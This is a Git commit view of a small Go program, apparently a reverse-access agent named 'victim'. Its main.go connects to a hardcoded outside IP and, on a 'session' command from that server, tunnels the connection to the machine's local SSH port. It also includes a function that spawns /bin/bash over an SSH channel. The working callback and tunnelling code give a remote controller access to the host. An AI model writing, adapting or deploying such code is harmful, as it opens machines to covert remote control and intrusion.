Initial commit
This commit is contained in:
commit
ce74e0c0b0
0
.gitignore
vendored
Normal file
0
.gitignore
vendored
Normal file
8
go.mod
Normal file
8
go.mod
Normal file
@ -0,0 +1,8 @@
|
||||
module gitea.unprism.ru/KRBL/Zirconn/victim
|
||||
|
||||
go 1.22.4
|
||||
|
||||
require (
|
||||
golang.org/x/crypto v0.25.0 // indirect
|
||||
golang.org/x/sys v0.22.0 // indirect
|
||||
)
|
4
go.sum
Normal file
4
go.sum
Normal file
@ -0,0 +1,4 @@
|
||||
golang.org/x/crypto v0.25.0 h1:ypSNr+bnYL2YhwoMt2zPxHFmbAN1KZs/njMG3hxUp30=
|
||||
golang.org/x/crypto v0.25.0/go.mod h1:T+wALwcMOSE0kXgUAnPAHqTLW+XHgcELELW8VaDgm/M=
|
||||
golang.org/x/sys v0.22.0 h1:RI27ohtqKCnwULzJLqkv897zojh5/DwS/ENaMzUOaWI=
|
||||
golang.org/x/sys v0.22.0/go.mod h1:/VUhepiaJMQUp4+oa/7Zr1D23ma6VTLIYjOOTFZPUcA=
|
110
main.go
Normal file
110
main.go
Normal file
@ -0,0 +1,110 @@
|
||||
package main
|
||||
|
||||
import (
|
||||
_ "embed"
|
||||
"fmt"
|
||||
"gitea.unprism.ru/KRBL/Zirconn/victim/protocol"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io"
|
||||
"log"
|
||||
"net"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"syscall"
|
||||
)
|
||||
|
||||
const addr = "62.217.183.220:8080"
|
||||
|
||||
//go:embed serial
|
||||
var serial string
|
||||
|
||||
func init() {
|
||||
log.Printf("Serial: %s", serial)
|
||||
}
|
||||
|
||||
func openNewConnection(sessionID string) {
|
||||
var err error
|
||||
var conn net.Conn
|
||||
|
||||
if conn, err = net.Dial("tcp", addr); err != nil {
|
||||
log.Printf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
var pack protocol.Package
|
||||
|
||||
pack.Message = fmt.Sprintf("session %s", sessionID)
|
||||
conn.Write(pack.Pack())
|
||||
|
||||
var sshConn net.Conn
|
||||
if sshConn, err = net.Dial("tcp", "localhost:22"); err != nil {
|
||||
log.Printf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
go func() {
|
||||
io.Copy(conn, sshConn)
|
||||
}()
|
||||
|
||||
go func() {
|
||||
io.Copy(sshConn, conn)
|
||||
}()
|
||||
}
|
||||
|
||||
func execShell(channel ssh.Channel) {
|
||||
shell := exec.Command("/bin/bash")
|
||||
shell.SysProcAttr = &syscall.SysProcAttr{
|
||||
Setsid: true,
|
||||
}
|
||||
shell.Stdin = channel
|
||||
shell.Stdout = channel
|
||||
shell.Stderr = channel
|
||||
shell.Run()
|
||||
channel.Close()
|
||||
}
|
||||
|
||||
func main() {
|
||||
var err error
|
||||
var conn net.Conn
|
||||
|
||||
if conn, err = net.Dial("tcp", addr); err != nil {
|
||||
log.Printf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
var buff [512]byte
|
||||
var pack protocol.Package
|
||||
|
||||
pack.Message = fmt.Sprintf("device %s", serial)
|
||||
|
||||
if _, err = conn.Write(pack.Pack()); err != nil {
|
||||
log.Printf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
var n int
|
||||
if n, err = conn.Read(buff[:]); err != nil {
|
||||
log.Printf("Error: %v", err)
|
||||
return
|
||||
}
|
||||
|
||||
pack.AddToBuffer(buff[:n])
|
||||
|
||||
for pack.Read() {
|
||||
var parts = strings.Split(pack.Message, " ")
|
||||
|
||||
switch parts[0] {
|
||||
case "session":
|
||||
if len(parts) != 2 {
|
||||
log.Printf("Command !connect requires 1 argument, got %d", len(parts)-1)
|
||||
continue
|
||||
}
|
||||
|
||||
go openNewConnection(parts[1])
|
||||
default:
|
||||
log.Printf("Unknown command: %s", parts[0])
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
38
protocol/main.go
Normal file
38
protocol/main.go
Normal file
@ -0,0 +1,38 @@
|
||||
package protocol
|
||||
|
||||
func (p *Package) AddToBuffer(data []byte) {
|
||||
p.buffer = append(p.buffer, data...)
|
||||
}
|
||||
|
||||
func (p *Package) Read() bool {
|
||||
var l int32
|
||||
|
||||
if len(p.buffer) < 4 {
|
||||
return false
|
||||
}
|
||||
|
||||
// Read the length of the message
|
||||
l = int32(p.buffer[0]) | int32(p.buffer[1])<<8 | int32(p.buffer[2])<<16 | int32(p.buffer[3])<<24
|
||||
|
||||
if len(p.buffer) < int(l)+4 {
|
||||
return false
|
||||
}
|
||||
|
||||
p.Message = string(p.buffer[4 : l+4])
|
||||
p.buffer = p.buffer[l+4:]
|
||||
|
||||
return true
|
||||
}
|
||||
|
||||
func (p *Package) Pack() []byte {
|
||||
var l = int32(len([]byte(p.Message)))
|
||||
|
||||
var b = []byte{
|
||||
byte(l),
|
||||
byte(l >> 8),
|
||||
byte(l >> 16),
|
||||
byte(l >> 24),
|
||||
}
|
||||
|
||||
return append(b, []byte(p.Message)...)
|
||||
}
|
6
protocol/scheme.go
Normal file
6
protocol/scheme.go
Normal file
@ -0,0 +1,6 @@
|
||||
package protocol
|
||||
|
||||
type Package struct {
|
||||
buffer []byte
|
||||
Message string
|
||||
}
|
Loading…
Reference in New Issue
Block a user